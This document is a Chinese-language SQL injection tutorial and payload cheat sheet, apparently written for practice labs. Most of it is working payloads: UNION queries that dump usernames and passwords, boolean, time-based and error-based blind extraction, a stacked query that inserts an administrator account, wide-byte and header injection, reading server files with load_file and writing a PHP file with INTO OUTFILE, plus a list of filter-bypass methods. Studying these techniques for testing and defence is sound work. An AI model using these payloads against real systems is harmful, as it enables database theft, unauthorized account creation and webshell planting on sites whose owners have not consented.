SQL注入漏洞
漏洞描述
Web 程序代碼中對于用戶提交的參數未做過濾就直接放到 SQL 語句中執行,導致參數中的特殊字符打破了原有的SQL 語句邏輯,黑客可以利用該漏洞執行任意 SQL 語句,如查詢數據、下載數據、寫入webshell 、執行系統命令以及繞過登錄限制等。
SQL 注入漏洞的產生需要滿足以下兩個條件 :
- 參數用戶可控:從前端傳給后端的參數內容是用戶可以控制的
- 參數帶入數據庫查詢:傳入的參數拼接到 SQL 語句,且帶入數據庫查詢
漏洞危害
- 查詢數據
- 下載數據
- 寫入webshell
- 執行系統命令
- 繞過登錄限制
用于測試注入點的語句
and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+
漏洞分類
回顯:
- UNION(聯合注入)
不回顯:
- 布爾盲注
- 時間盲注
- 報錯注入
其他:
- 堆疊注入
- 二次注入
- 寬字節注入
- http頭部注入
聯合注入
使用場景:有顯示位,可以將sql語句執行的結果輸出到網頁中。
# 查詢字段數
?id=1' order by 3 -- -# 查看回顯位
?id=-1' union select 1,2,3-- -//查詢系統
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -//查詢所有數據庫
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -//查詢表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -//查詢列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users'-- -//查詢數據
?id=-1' union select 1,group_concat('*',concat(username,'---',password)),3 from security.users -- -
布爾注入
使用場景:根據注入執行結果的布爾值,頁面顯示不同,由此來判斷是否為布爾注入
payload:
//判斷數據庫的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-//獲取所有數據庫名稱
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-//獲取當前數據庫表名稱
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-//獲取當前數據庫表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-//獲取users表的數據
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-
時間注入
使用場景:在注入時,無論注入是否正確,頁面沒有任何變化,沒有顯示位,也沒有報錯信息。但是加入sleep(5)條件之后,如果if條件成立則頁面返回速度明顯慢了5秒。
//判斷時間數據庫長度
?id=1" and if(length(database())>7,1,sleep(5)) --+-//查詢數據庫的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-//查詢表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-//獲取當前數據庫表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-//獲取users表的數據
?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+-
報錯注入
使用場景:報錯注入的使用場景一般在頁面無法顯示數據庫的信息,但是有報錯內容,我們就可以嘗試利用報錯注入將錯誤信息與子查詢語句中查詢的內容帶出,并不局限與這種場景,只要能將mysql錯誤信息輸出都可以嘗試進行報錯注入。
報錯注入形式上一般是做兩個嵌套查詢,里面的稱為子查詢,執行順序是先進行子查詢,所以我們可以通過子查詢查詢我們想要的數據,然后通過報錯函數將我們查詢的數據帶出。
//updatexml報錯方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-//extractvalue報錯方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-
堆疊注入
堆疊查詢:堆疊查詢可以執行多條 SQL 語句,語句之間以分號(;)隔開,而堆疊查詢注入攻擊就是利用此特點,在第二條語句中構造要執行攻擊的語句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 這兩個函數執行一個或多個針對數據庫的查詢。多個查詢用分號進行分隔。但是堆疊查詢只能返回第一條查詢信息,不返回后面的信息。
堆疊注入的危害是很大的 可以任意使用增刪改查的語句,例如刪除數據庫 修改數據庫,添加數據庫用戶
# 在得知對方管理表結構的前提下,可以向管理表插入一個管理員賬號
?id=1';insert into users value(20,"sc","sc");--+-# 查詢一下
?id=20
二次注入
二次注入過程中,在第一次數據庫插入數據的時候,如果僅僅只是使用了addslashes或者是借助get_magic_quotes_gpc對其中的特殊字符進行了轉義,但是addslashea有一個特點就是雖然參數在過濾后添加”\“進行轉義,但是”\“并不會插入到數據庫中,在寫入數據時會保留原來的數據。
在將數據存入到了數據庫中之后,開發者就認為數據是可信的。在下一次進行需要進行查詢的時候,直接從數據庫中取出了臟數據,沒有進行下一步的檢驗和處理,這樣就會造成 SQL 的二次注入。
比如:在第一次 插入數據的時候,數據中帶有單引號,直接插入到了數據庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入.

$sql = "insert into users ( username, password) values("$username", "$pass")";$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' andpassword='$curr_pass' ";$sql = "UPDATE users SET PASSWORD='456' where username='admin’#' and password='$curr_pass' ";
寬字節注入
寬字節注入,在SQL進行防注入的時候,一般會開啟gpc,過濾特殊字符。一般情況下開啟gpc是可以防御很多字符串的注入,但是如果數據庫編碼不對,也可以導致SQL防注入繞過,達到注入目的。如果數據庫設置寬字節字符集gpk會導致寬字節注入,從而逃逸gpc。
前提條件
簡單理解:數據庫編碼與 PHP 編碼設置為不同的兩個編碼那么就有可能產生寬字節注入
深入講解:要有寬字節注入漏洞,首先滿足數據庫和后端使用雙或多字節解析sql語句其次還要保證在 該種字符集中包含**0x5c(01011100)**的字符,初步測試結果為Big5和GBK字符集都是有的,UTF-8 和 GB2312沒有這種字符。(也就不存在寬字節注入)
常見的轉義函數
常見轉義函數與配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc的配置
在線gbk編碼表:
https://www.toolhelper.cn/Encoding/GBK
’ ——> %27
空格 ——> %20
#符號 ——> %23
\ ——> %5C
payload
32
?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -
HTTP頭部注入
User-Agent:瀏覽器版本
COOKIE: 網站為了辨別用戶身份、進行session跟蹤而存儲在用戶本地終端上的數據
X-Forwarded-For:獲取HTTP請求端真實IP
Client-IP: 獲取IP
Referer:瀏覽器向Web服務器表名自己是從哪個頁面鏈接過來的
Host:訪問的Web服務器的域名/IP和端口號
21
admin') order by 3 -- -
讀寫文件操作
前提條件
必須有權限讀寫并且完全可讀寫
ecure_file_priv不能為空
要讀取的文件必須在服務器
必須指定文件的完整路徑
?id=-1' union select 1,load_file("C:\\phpStudy\\PHPTutorial\\1.txt"),3--+-
?id=-1' union select 1,load_file("D:/phpStudy/PHPTutorial/WWW/flag.txt"),3--+-
?id=-1' union select 1,"<?php phpinfo(); ?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\2.php" --+-
常用的繞過方法
- 空格字符繞過
- 大小寫繞過
- 浮點數繞過注入
- NULL 值繞過
- 引號繞過
- 添加庫名繞過
- 逗號繞過
- 分塊傳輸繞
- Unicode 編碼繞過